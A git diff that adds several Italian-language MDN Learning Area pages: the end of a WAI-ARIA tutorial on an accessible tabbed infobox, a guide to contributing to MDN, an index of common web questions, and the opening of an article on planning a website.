+<p>Prendiamo in considerazione un esempio. Torniamo ad usare il nostro semplice infobox a schede (vedi <a href="https://developer.mozilla.org/it/docs/Learn/Accessibilità/CSS_e_JavaScript_accessibilità#Nascondere_elementi">Nascondere elementi</a> nell’articolo sull’accessibilità in CSS e JavaScript), che puoi trovare qui: <a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">infobox a schede</a> (vedi <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">codice sorgente</a>).</p>
+
+<p>Questo esempio funziona perfettamente in termini di accessibilità da tastiera: puoi muoverti facilmente da una scheda all’altra usando il tasto TAB e selezionare una scheda con INVIO per visualizzarne il contenuto. È inoltre abbastanza accessibile se si usa un lettore di schermo, puoi infatti usare gli headings per navigare il contenuto anche senza vederlo. Ciò che però non risulterà del tutto chiaro è in cosa consiste il contenuto stesso: un lettore di schermo riporta il contenuto dell’infobox come composto da un lista di link e da dell’altro contenuto con tre headings. Non da nessuna indicazione di come i contenuti sono relazionati tra loro. Fornire all’utente indicazioni precise su come il contenuto è strutturato è sempre una buona idea.</p>
+
+<p>Abbiamo creato una versione migliorata dell’esempio, chiamata <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-tabbed-info-box.html">aria-tabbed-info-box.html</a> (vedi <a href="http://mdn.github.io/learning-area/accessibility/aria/aria-tabbed-info-box.html">versione live</a>). Abbiamo aggiornato l’interfaccia del box così:</p>
+
+<pre class="brush: html">&lt;ul role="tablist"&gt;
+  &lt;li class="active" role="tab" aria-selected="true" aria-setsize="3" aria-posinset="1" tabindex="0"&gt;Tab 1&lt;/li&gt;
+  &lt;li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="2" tabindex="0"&gt;Tab 2&lt;/li&gt;
+  &lt;li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="3" tabindex="0"&gt;Tab 3&lt;/li&gt;
+&lt;/ul&gt;
+&lt;div class="panels"&gt;
+  &lt;article class="active-panel" role="tabpanel" aria-hidden="false"&gt;
+    ...
+  &lt;/article&gt;
+  &lt;article role="tabpanel" aria-hidden="true"&gt;
+    ...
+  &lt;/article&gt;
+  &lt;article role="tabpanel" aria-hidden="true"&gt;
+    ...
+  &lt;/article&gt;
+&lt;/div&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: il cambio più evidente è la rimozione dei link che erano presenti precedentemente nell’esempio. Ora si usano i componenti li della lista per identificare le schede. Questo procedimento rende il tutto meno confuso per gli utenti che usano lettori di schermo, in quanto i link che c’erano in precedenza non conducevano da nessuna parte, servivano solo a cambiare di scheda. Inoltre gli attributi <code>aria-setsize</code> e <code>aria-posinset</code> permettono ora di identificare chiaramente le schede tramite il lettore di schermo: in precedenza, con i link, il browser trasmetteva sempre al lettore “1 di 1”, e non “1 di 3”, “2 di 3”, ecc.</p>
+</div>
+
+<p> </p>
+
+<p>Le nuove funzionalità aggiunte all’infobox di esempio sono le seguenti:</p>
+
+<ul>
+ <li>Nuovi ruoli — <a href="https://www.w3.org/TR/wai-aria-1.1/#tablist">tablist</a>, <a href="https://www.w3.org/TR/wai-aria-1.1/#tab">tab</a>, <a href="https://www.w3.org/TR/wai-aria-1.1/#tabpanel">tabpanel</a> — che identificano le aree più importanti dell’interfaccia: il contenitore delle schede, le schede stesse e i pannelli corrispondenti.</li>
+ <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-selected">aria-selected</a></code> — definisce quale scheda è attualmente selezionata. Quando l’utente seleziona una nuova scheda, il valore di questo attributo viene aggiornato per ogni scheda tramite JavaScript.</li>
+ <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-hidden">aria-hidden</a></code> — impedisce che un elemento venga letto dal lettore di schermo. Quando l’utente seleziona una nuova scheda, il valore di questo attributo viene aggiornato per ogni scheda tramite JavaScript.</li>
+ <li><code>tabindex="0"</code> — poichè abbiamo rimosso i link, dobbiamo assegnare questo attributo agli elementi li della lista per renderli focalizzabili tramite tastiera.</li>
+ <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-setsize">aria-setsize</a></code> — questa proprietà permette di specificare al lettore di schermo che un elemento è parte di una serie, e quanti sono gli elementi che costituiscono la serie. </li>
+ <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-posinset">aria-posinset</a></code> — questa proprietà permette di specificare quale posizione un elemento occupa nella serie. Usata insieme a <code>aria-setsize</code>, questa proprietà fornisce al lettore di schermo informazioni sufficienti perchè possa segnalare all’utente dove si trova correntemente, cioè se nell’elemento “1 di 3”, “2 di 3”, ecc. In molti casi, i browser dovrebbero essere in grado di ricavare questa informazione dalla gerarchia degli elementi, ma è sicuramente di aiuto fornire più indicazioni possibile. </li>
+</ul>
+
+<p>Secondo i nostri test, questa nuova struttura ha migliorato sensibilmente l’accessibilità dell’infobox a schede. Le schede sono ora riconosciute come schede (ora il lettore pronuncia “scheda”, o perlomeno “tab”, in inglese), la scheda attualmente selezionata è chiaramente indicata, pronunciando il lettore la parola “selezionata” insieme al nome della scheda, e il lettore di schermo indica anche il numero della scheda in cui si trova l’utente. Inoltre, grazie ai valori di <code>aria-hidden</code> impostati (solo la scheda attualmente selezionata ha il valore <code>aria-hidden="false"</code>), il contenuto non nascosto è il solo che il lettore può leggere, rendendolo il tutto più facile e meno confuso da navigare per l’utente.</p>
+
+<p> </p>
+
+<div class="note">
+<p><strong>Nota</strong>: puoi assegnare l’attributo <code>aria-hidden="true"</code>  a qualsiasi contenuto che vuoi che sia ignorato dai lettori di schermo.</p>
+</div>
+
+<h2 id="Riassunto">Riassunto</h2>
+
+<p>Questo articolo non è da considerarsi esaustivo per quanto riguarda tutte le funzionalità disponibili con la tecnologia WAI-ARIA, ma dovrebbe averti fornito informazioni sufficienti a capire come usarla, e come identificare le situazioni più comuni in cui avrai bisogno di ricorrere ad essa.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">Definition of Roles</a> — guida di riferimento sui ruoli ARIA.</li>
+ <li><a href="https://www.w3.org/TR/wai-aria-1.1/#state_prop_def">Definitions of States and Properties (all aria-* attributes)</a> — guida di riferimento sulle proprietà e gli stati.</li>
+ <li><a href="https://dequeuniversity.com/library/">Deque university code library</a> — una libreria di utilissimi esempi pratici che mostrano complessi elementi di interfaccia utente resi accessibili usando le funzionalità di WAI-ARIA.</li>
+ <li><a href="http://w3c.github.io/aria-practices/">WAI-ARIA Authoring Practices</a> — dettagliatissime guide di disegno del W3C, che spiegano come implementare differenti tipi di controlli di interfaccia utente complessi, e come renderli accessibili usando le funzionalità di WAI-ARIA.</li>
+ <li><a href="https://www.w3.org/TR/html-aria/">ARIA in HTML</a> — Una specifica del W3C che definisce, per ogni elemento HTML, quali semantiche di accessibilità (ARIA) sono implementate nativamente dai browser, e quali funzionalità WAI-ARIA puoi usare per fornire semantiche extra se sono necessarie.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Accessibilità/CSS_e_JavaScript_accessibilità","Learn/Accessibilità/Multimedia", "Learn/Accessibilità")}}</p>
diff --git a/files/it/learn/come_contribuire/index.html b/files/it/learn/come_contribuire/index.html
new file mode 100644
index 0000000000..bd3d90966a
--- /dev/null
+++ b/files/it/learn/come_contribuire/index.html
@@ -0,0 +1,88 @@
+---
+title: Come contribuire nell'area di MDN dedicata all'apprendimento
+slug: Learn/Come_contribuire
+tags:
+  - Apprendimento
+  - Articolo
+  - Contribuire
+  - Didattica
+  - Glossário
+  - Guida
+  - Materiale
+  - Principiante
+  - insegnante
+  - sviluppatore
+translation_of: Learn/How_to_contribute
+---
+<p>{{LearnSidebar}}</p>
+
+<p>Se sei qui per la prima volta o dopo un'approfondita ricerca, probabilmente ti interessa contribuire all'area di MDN dedicata all'apprendimento. Questa è una grande notizia!</p>
+
+<p><span class="seoSummary">In questa pagina, troverai tutto ciò che ti occorre per iniziare a migliorare i contenuti dedicati all'apprendimento in MDN. Ci sono molte cose che puoi fare, a seconda del tempo a tua disposizione e se sei un <a href="/en-US/Learn/How_to_contribute#I'm_a_beginner">principiante</a>, uno <a href="/en-US/Learn/How_to_contribute#I'm_a_web_developer">sviluppatore web</a> o un <a href="/en-US/Learn/How_to_contribute#I'm_a_teacher">insegnante</a>.</span></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi trovare una guida per scrivere un nuovo articolo nell'area dedicata all'apprendimento su <a href="/en-US/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">Come scrivere un nuovo articolo per aiutare gli utenti a conoscere il Web</a>.</p>
+</div>
+
+<h2 id="Trova_un_compito_specifico">Trova un compito specifico</h2>
+
+<p><strong>I contributori stanno utilizzando <a href="https://trello.com/b/LDggrYSV">una bacheca Trello</a> per organizzare i propri compiti. In questo modo puoi trovare dei compiti specifici da fare nel progetto. Per essere coinvolto, basta <a href="https://trello.com/signup">creare un account Trello</a> e avvisare Chris Mills per ricevere i permessi di scrittura sulla bacheca.</strong></p>
+
+<p>Contribuire è il modo migliore per divertirsi, imparando nuove cose. Se ti senti perso o hai domande, non esitare a raggiungerci nella nostra <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">lista email</a> o <a href="/en-US/docs/MDN/Community#Get_into_IRC">canale IRC</a> (dettagli a fine pagina). <a href="/en-US/profiles/chrisdavidmills">Chris Mills</a> guida gli argomenti per l'area apprendimento — Puoi anche contattarlo direttamente.</p>
+
+<p>La seguente sezione fornisce delle idee generali di compiti che puoi fare.</p>
+
+<h2 id="Sono_un_principiante">Sono un principiante</h2>
+
+<p>Questo è meraviglioso! I principianti sono molto importanti e preziosi per creare materiale didattico e raccogliere feedback su di esso. In quanto diretto destinatario di questo materiale, riesci a restituire una prospettiva unica su di esso e ciò ti rende un elemento fondamentale del nostro team. Invece, se stai utilizzando i nostri articoli per imparare qualcosa ma ti trovi in difficoltà o trovi un articolo caotico, puoi sia correggerlo oppure farci sapere del problema affinché possiamo provvedere noi a correggerlo.</p>
+
+<p>Di seguito sono riportati i modi in cui puoi contribuire:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Tag">Aggiungi tags ai nostri articoli</a> (<em>5 min</em>)</dt>
+ <dd>Aggiungere dei tag ai contenuti di MDN è uno dei modi più semplici di dare il tuo contributo. Poichè molte delle nostre sezioni utilizzano i tags per aiutare a fornire le giuste informazioni, contribuire a definire i tags stessi è senz'altro un contributo molto prezioso. Da' un'occhiata alla lista dei <a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Glossary#No_tags">lemmi del glossario</a> e agli <a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Learn#No_tags">articoli didattici </a>ancora privi di tags per iniziare a contribuire.</dd>
+ <dt><a href="/en-US/docs/Glossary">Leggi e correggi le voci del glossario</a> (<em>5 min</em>)</dt>
+ <dd>In qualità di principiante, noi abbiamo bisogno della freschezza del tuo sguardo. Se una voce del glossario ti sembra difficile da comprendere, ciò significa che occorre migliorarla. Sentiti libero di operare qualunque cambiamento ritieni necessario. Se non ti sembra di essere in grado tu stesso di apportare eventuali correzioni, puoi comunque segnalarcelo alla <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">nostra mailing list</a>.</dd>
+ <dt><a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">Scrivi una nuova voce del glossario</a> (<em>20 min</em>)</dt>
+ <dd>Ecco il modo più efficace per imparare qualcosa di nuovo. Scegli un concetto che vorresti capire meglio e, mentre impari, scrivi la nuova voce del glossario che gli pertiene. Provare a spiegare qualcosa agli altri è un modo efficace di "fissare" quanto stai imparando nel tuo cervello e di elaborare tu stesso il significato delle cose. Tutto ciò, mentre stai cercando di aiutare qualcun altro: si vince tutti!</dd>
+ <dt><a href="/en-US/Learn/Index">Leggi e controlla un articolo didattico</a> (<em>2 ore</em>)</dt>
+ <dd>Compito molto simile al precedente (v. sopra); solo richiede maggior tempo, perchè questi articoli in genere sono più lunghi.</dd>
+</dl>
+
+<h2 id="Sono_uno_sviluppatore">Sono uno sviluppatore</h2>
+
+<p>Fantastico! Le tue competenze tecniche sono proprio quello che ci serve per offrire ai principianti dei contenuti tecnicamente accurati. Poichè questa sezione di MDN è dedicata all'apprendimento del Web, fa in modo che le tue spiegazioni siano il più semplice possibile, ma non così semplici da risultare inutili. E' preferibile essere compresi piuttosto che esageratamente precisi.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Glossary">Leggi e correggi le voci del glossario</a> (<em>5 min</em>)</dt>
+ <dd>In quanto sviluppatore, vorremmo essere sicuri che farai in modo di rendere i nostri contenuti in maniera tecnicamente accurata ma non pedante. Sentiti libero di apportare tutte le correzioni del caso. Se vuoi confrontarti sui contenuti prima di intervenire, contattaci via <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">mailing list</a> o <a href="/en-US/docs/MDN/Community#Get_into_IRC">IRC channel</a>.</dd>
+ <dt><a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">Scrivi una nuova voce del glossario</a> (<em>20 min</em>)</dt>
+ <dd>Rendere più chiaro il linguaggio tecnico è un ottimo metodo per imparare e, allo stesso tempo, per essere tecnicamente precisi. I principianti te ne saranno grati. Ci sono <a href="/en-US/docs/Glossary#Contribute">molti termini da definire</a> che richiedono la tua attenzione. Scégline uno e sei pronto per cominciare.</dd>
+ <dt><a href="/en-US/Learn/Index">Leggi e correggi un articolo didattico</a> (<em>2 ore</em>)</dt>
+ <dd>Stessa cosa del controllare una voce del glossario (v. sopra); richiede solo un po' più di tempo perchè questi articoli sono generalmente più lunghi.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">Scrivi un nuovo articolo didattico</a> (<em>4 ore o più</em>)</dt>
+ <dd>In MDN mancano ancora semplici chiari articoli  dedicati all'utilizzo delle tecnologie per il Web (<a href="/en-US/docs/Learn/CSS">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>, ecc). Ci sono anche contenuti ormai obsoleti che avrebbero bisogno di essere controllati e riorganizzati. Mettiti alla prova e contribuisci a rendere le tecnologie per il Web accessibili anche per i principianti.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Crea strumenti didattici interattivi , esempi di codice o esercizi </a> (<em>? ore</em>)</dt>
+ <dd>Ciascuno dei nostri articoli didattici prevede quello che chiamiamo materiale di "apprendimento attivo", perchè le persone imparano meglio se fanno loro stessi. Tale materiale è costituito da esercizi o contenuti interattivi, che consentono all'utente di applicare e manipolare i concetti espressi nell'articolo. Esistono diversi modi di creare contenuti didattici per l'apprendimento attivo, dal creare esempi di codice con <a href="http://jsfiddle.net" rel="external">JSFiddle</a> o simili, alla composizione di contenuti interattivi e del tutto modificabili con <a href="https://thimble.mozilla.org/" rel="external">Thimble</a>. Scatena la tua fantasia!</dd>
+</dl>
+
+<h2 id="Sono_un_insegnante">Sono un insegnante</h2>
+
+<p>MDN ha una lunga storia di eccellenza tecnica, ma siamo ancora agli inizi per ciò che riguarda gli strumenti didattici migliori per insegnare ai principianti. Ecco dove il tuo aiuto è prezioso, come insegnante o facilitatore: puoi aiutarci a far sì che il nostro materiale fornisca un percorso didattico efficace e pratico per i nostri lettori.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Glossary">Leggi e correggi una voce del glossario</a> (<em>15 min</em>)</dt>
+ <dd>Controlla un lemma del glossario e séntiti libero di apportare tutte le correzioni del caso. Se vuoi confrontarti sul contenuto prima di modificarlo, puoi contattarci tramite la <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">nostra mailing list</a> o <a href="/en-US/docs/MDN/Community#Get_into_IRC">IRC channel</a>.</dd>
+ <dt><a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">Scrivi una nuova voce del glossario</a> (<em>1 ora</em>)</dt>
+ <dd>Definizioni dei termini chiare e semplici e supervisione dei concetti di base del glossario sono elementi fondamentali per aiutare i principianti. La tua esperienza come educatore può essere molto utile per creare delle voci del glossario efficaci; ci sono <a href="/en-US/docs/Glossary#Contribute">molti termini da definire</a> che richiedono la tua attenzione. Scégline uno e datti da fare.</dd>
+ <dt><a href="/en-US/docs/tag/needsSchema">Aggiungi illustrazioni e/o schemi agli articoli</a> (<em>1 ora</em>)</dt>
+ <dd>Come saprai, le illustrazioni sono una parte inestimabile di qualunque contenuto didattico. Ecco una cosa che spesso ci manca qui in MDN e la tua abilità può far la differenza in questa sezione. Scorri gli <a href="/en-US/docs/tag/needsSchema">articoli privi di illustrazioni</a> e scégline uno cui vuoi aggiungere la parte grafica.</dd>
+ <dt><a href="/en-US/Learn/Index">Leggi e correggi un articolo didattico</a> (<em>2 ore</em>)</dt>
+ <dd>Compito simile alla correzione delle voci del glossario (v. sopra), ma richiede maggior tempo dal momento che gli articoli sono generalmente più lunghi.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">Scivi un nuovo articolo didattico</a> (<em>4 ore</em>)</dt>
+ <dd>Ci servono articoli chiari e semplici sull'ecosistema Web e sugli argomenti inerenti di tipo funzionale. Dal momento che questi articoli didattici hanno lo scopo di essere soprattutto educativi e non di coprire letteralmente tutto quello che c'è da sapere, la tua esperienza riguardo cosa e come sia effettivamente da trattare sarà di grande aiuto.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Inventa esercizi, questionari o strumenti didattici interattivi</a> (<em>? ore</em>)</dt>
+ <dd>Tutti i nostri articoli didattici prevedono materiale di "apprendimento attivo". Tale materiale consiste in contenuti interattivi o esercizi, che aiuteranno gli utenti ad apprendere come utilizzare ed espandere i concetti espressi nell'articolo in questione. Ci sono molti modi in cui tu puoi contribuire qui, dal creare quiz al comporre nuovi contenuti interattivi e modificabili su <a href="https://thimble.mozilla.org/" rel="external">Thimble</a>. Scatena la tua fantasia!</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Create_learning_pathways">Crea percorsi didattici</a> (<em>? ore</em>)</dt>
+ <dd>Al fine di fornire tutorials di facile comprensione e nella corretta progressione, ci occorre organizzare i contenuti in percorsi didattici: è un modo di raccogliere contenuti preesistenti e individuare ciò che ancora manca, così da proporre gli argomenti per nuovi articoli didattici ancora da scrivere.</dd>
+</dl>
diff --git a/files/it/learn/common_questions/index.html b/files/it/learn/common_questions/index.html
new file mode 100644
index 0000000000..966a03b29e
--- /dev/null
+++ b/files/it/learn/common_questions/index.html
@@ -0,0 +1,139 @@
+---
+title: Common questions
+slug: Learn/Common_questions
+tags:
+  - CodingScripting
+  - Infrastructure
+  - Learn
+  - NeedsTranslation
+  - TopicStub
+  - Web
+  - WebMechanics
+translation_of: Learn/Common_questions
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">This section of the Learning Area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g. the <a href="/en-US/docs/Learn/HTML">HTML</a> or <a href="/en-US/docs/Learn/CSS">CSS</a> learning articles.) These articles are designed to work on their own.</p>
+
+<h2 id="How_the_Web_works">How the Web works</h2>
+
+<p>This section covers web mechanics —questions relating to general knowledge of the Web ecosystem and how it works.</p>
+
+<dl>
+ <dt>
+ <h3 id="How_does_the_Internet_work"><a href="/en-US/docs/Learn/Common_questions/How_does_the_Internet_work">How does the Internet work?</a></h3>
+ </dt>
+ <dd>The <strong>Internet</strong> is the backbone of the Web, the technical infrastructure that makes the Web possible. At its most basic, the Internet is a large network of computers which communicate all together. This article discusses how it works, at a basic level.</dd>
+ <dt>
+ <h3 id="What_is_the_difference_between_webpage_website_web_server_and_search_engine"><a href="/en-US/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">What is the difference between webpage, website, web server, and search engine?</a></h3>
+ </dt>
+ <dd>In this article we describe various web-related concepts: webpages, websites, web servers, and search engines. These terms are often confused by newcomers to the Web, or are incorrectly used. Let's learn what they each mean!</dd>
+ <dt>
+ <h3 id="What_is_a_URL"><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">What is a URL?</a></h3>
+ </dt>
+ <dd>With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.</dd>
+ <dt>
+ <h3 id="What_is_a_domain_name"><a href="/en-US/docs/Learn/Common_questions/What_is_a_domain_name">What is a domain name?</a></h3>
+ </dt>
+ <dd>Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.</dd>
+ <dt>
+ <h3 id="What_is_a_web_server"><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">What is a web server?</a></h3>
+ </dt>
+ <dd>The term "Web server" can refer to the hardware or software that serves web sites to clients across the Web — or both of them working together. In this article we go over how web servers work, and why they're important.</dd>
+ <dt>
+ <h3 id="What_are_hyperlinks"><a href="/en-US/docs/Learn/Common_questions/What_are_hyperlinks">What are hyperlinks?</a></h3>
+ </dt>
+ <dd>In this article, we'll go over what hyperlinks are and why they matter.</dd>
+</dl>
+
+<h2 id="Tools_and_setup">Tools and setup</h2>
+
+<p>Questions related to the tools/software you can use to build websites.</p>
+
+<dl>
+ <dt>
+ <h3 id="How_much_does_it_cost_to_do_something_on_the_Web"><a href="/en-US/docs/Learn/Common_questions/How_much_does_it_cost">How much does it cost to do something on the Web?</a></h3>
+ </dt>
+ <dd>When you're launching a website, you may spend nothing or your costs may go through the roof. In this article we discuss how much everything costs and what you get for what you pay (or don't pay).</dd>
+ <dt>
+ <h3 id="What_software_do_I_need_to_build_a_website"><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">What software do I need to build a website?</a></h3>
+ </dt>
+ <dd>In this article we explain which software components you need when you're editing, uploading, or viewing a website.</dd>
+ <dt>
+ <h3 id="What_text_editors_are_available"><a href="/en-US/docs/Learn/Common_questions/Available_text_editors">What text editors are available?</a></h3>
+ </dt>
+ <dd>In this article we highlight some things to think about when choosing and installing a text editor for web development.</dd>
+ <dt>
+ <h3 id="How_do_I_set_up_a_basic_working_environment"><a href="/en-US/docs/Learn/Common_questions/Set_up_a_basic_working_environment">How do I set up a basic working environment?</a></h3>
+ </dt>
+ <dd>When working on a web project, you'll want to test it locally before you show it to the world. Some types of code require a server to test, and in this article we'll show you how to set one up. We'll also cover how to put a scalable structure in place so that your files stay organized even when your project gets big.</dd>
+ <dt>
+ <h3 id="What_are_browser_developer_tools"><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools?</a></h3>
+ </dt>
+ <dd>Every browser features a set of devtools for debugging HTML, CSS, and other web code. This article explains how to use the basic functions of your browser's devtools.</dd>
+ <dt>
+ <h3 id="How_do_you_make_sure_your_website_works_properly"><a href="/en-US/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly">How do you make sure your website works properly?</a></h3>
+ </dt>
+ <dd>So you've published your website online — very good! But are you sure it works properly? This article provides some basic troubleshooting steps.</dd>
+ <dt>
+ <h3 id="How_do_you_set_up_a_local_testing_server"><a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">How do you set up a local testing server?</a></h3>
+ </dt>
+ <dd>
+ <div>
+ <p>This article explains how to set up a simple local testing server on your machine, and the basics of how to use it.</p>
+ </div>
+ </dd>
+ <dt>
+ <h3 id="How_do_you_upload_files_to_a_web_server"><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">How do you upload files to a web server?</a></h3>
+ </dt>
+ <dd>This article shows how to publish your site online with <a class="glossaryLink" href="https://developer.mozilla.org/en-US/docs/Glossary/FTP" title="FTP: FTP (File Transfer Protocol) is the standard network protocol for transferring files from one host to another over the Internet through TCP.">FTP</a> tools — one fo the most common ways to get a website online so others can access it from their computers.</dd>
+ <dt>
+ <h3 id="How_do_I_use_GitHub_Pages"><a href="/en-US/docs/Learn/Common_questions/Using_GitHub_Pages">How do I use GitHub Pages?</a></h3>
+ </dt>
+ <dd>This article provides a basic guide to publishing content using GitHub's gh-pages feature.</dd>
+ <dt>
+ <h3 id="How_do_you_host_your_website_on_Google_App_Engine"><a href="/en-US/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">How do you host your website on Google App Engine?</a></h3>
+ </dt>
+ <dd>Looking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine.</dd>
+ <dt>
+ <h3 id="What_tools_are_available_to_debug_and_improve_website_performance"><a href="/en-US/docs/Tools/Performance">What tools are available to debug and improve website performance?</a></h3>
+ </dt>
+ <dd>This set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your website, using the tools to check the memory usage, the JavaScript call tree, the amount of DOM nodes being rendered, and more.</dd>
+</dl>
+
+<h2 id="Design_and_accessibility">Design and accessibility</h2>
+
+<p>This section lists questions related to aesthetics, page structure, accessibility techniques, etc.</p>
+
+<dl>
+ <dt>
+ <h3 id="How_do_I_start_to_design_my_website"><a href="/en-US/docs/Learn/Common_questions/Thinking_before_coding">How do I start to design my website?</a></h3>
+ </dt>
+ <dd>This article covers the all-important first step of every project: define what you want to accomplish with it.</dd>
+ <dt>
+ <h3 id="What_do_common_web_layouts_contain"><a href="/en-US/docs/Learn/Common_questions/Common_web_layouts">What do common web layouts contain?</a></h3>
+ </dt>
+ <dd>When designing pages for your website, it's good to have an idea of the most common layouts. This article runs thorugh some typical web layouts, looking at the parts that make up each one.</dd>
+ <dt>
+ <h3 id="What_is_accessibility"><a href="/en-US/docs/Learn/Common_questions/What_is_accessibility">What is accessibility?</a></h3>
+ </dt>
+ <dd>This article introduces the basic concepts behind web accessibility.</dd>
+ <dt>
+ <h3 id="How_can_we_design_for_all_types_of_users"><a href="/en-US/docs/Learn/Common_questions/Design_for_all_types_of_users">How can we design for all types of users?</a></h3>
+ </dt>
+ <dd>This article provides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things.</dd>
+ <dt>
+ <h3 id="What_HTML_features_promote_accessibility"><a href="/en-US/docs/Learn/Common_questions/HTML_features_for_accessibility">What HTML features promote accessibility?</a></h3>
+ </dt>
+ <dd>This article describes specific features of HTML that can be used to make a web page more accessible to people with different disabilities.</dd>
+</dl>
+
+<h2 id="HTML_CSS_and_JavaScript_questions">HTML, CSS and JavaScript questions</h2>
+
+<p>For common solutions to HTML/CSS/JavaScript problems, try the following articles:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto">Use HTML to solve common problems</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Howto">Use CSS to solve common problems</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Howto">Use JavaScript to solve common problems</a></li>
+</ul>
diff --git a/files/it/learn/common_questions/thinking_before_coding/index.html b/files/it/learn/common_questions/thinking_before_coding/index.html
new file mode 100644
index 0000000000..c88abf5480
--- /dev/null
+++ b/files/it/learn/common_questions/thinking_before_coding/index.html
@@ -0,0 +1,180 @@
+---
+title: How do I start to design my website?
+slug: Learn/Common_questions/Thinking_before_coding
+translation_of: Learn/Common_questions/Thinking_before_coding
+---
+<p class="summary">Questo articolo tratta l'importantissimo primo passo di ogni progetto: definisci cosa vuoi realizzare con il tuo sito.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="it"><span title="">Prerequisiti:</span></span></th>
+   <td><span class="tlid-translation translation" lang="it"><span title="">Nessuno</span></span></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="it">Obbiettivo:</span></th>
+   <td><span class="tlid-translation translation" lang="it"><span title="">Impara a definire obiettivi per orientare il tuo progetto web.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sommario"><span class="tlid-translation translation" lang="it"><span title="">Sommario</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Quando si inizia con un progetto Web, molte persone si concentrano sul lato tecnico.</span> <span title="">Ovviamente devi avere familiarità con la tecnica del tuo mestiere, ma ciò che conta davvero è ciò che vuoi realizzare.</span> <span title="">Sì, sembra ovvio, ma troppi progetti falliscono non per mancanza di know-how tecnico, ma per mancanza di obiettivi e visione.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Quindi, quando hai un'idea e vuoi trasformarla in un sito Web, ci sono alcune domande a cui dovresti rispondere prima di ogni altra cosa:</span></span></p>
+
+<ul>
+ <li>
+  <div class="text-wrap tlid-copy-target">
+  <div class="result-shield-container tlid-copy-target"><span class="tlid-translation translation" lang="it"><span title="">Cosa voglio esattamente realizzare?</span></span></div>
+  </div>
+ </li>
+ <li><span class="tlid-translation translation" lang="it"><span title="">In che modo un sito web mi aiuterà a raggiungere i miei obiettivi?</span></span></li>
+ <li><span class="tlid-translation translation" lang="it"><span title="">Cosa bisogna fare e in quale ordine per raggiungere i miei obiettivi?</span></span></li>
+</ul>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Tutto ciò si chiama ideazione del progetto ed è un primo passo necessario per raggiungere il tuo obiettivo, che tu sia un principiante o uno sviluppatore esperto.</span></span></p>
+
+<h2 id="Apprendimento_attivo"><span class="tlid-translation translation" lang="it"><span title="">Apprendimento attivo</span></span></h2>
+
+<div class="text-wrap tlid-copy-target">
+<div class="result-shield-container tlid-copy-target"><span class="tlid-translation translation" lang="it"><span title="">Non è ancora disponibile un apprendimento attivo.</span></span><em><a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started"> Per favore, considera di contribuire</a>.</em></div>
+</div>
+
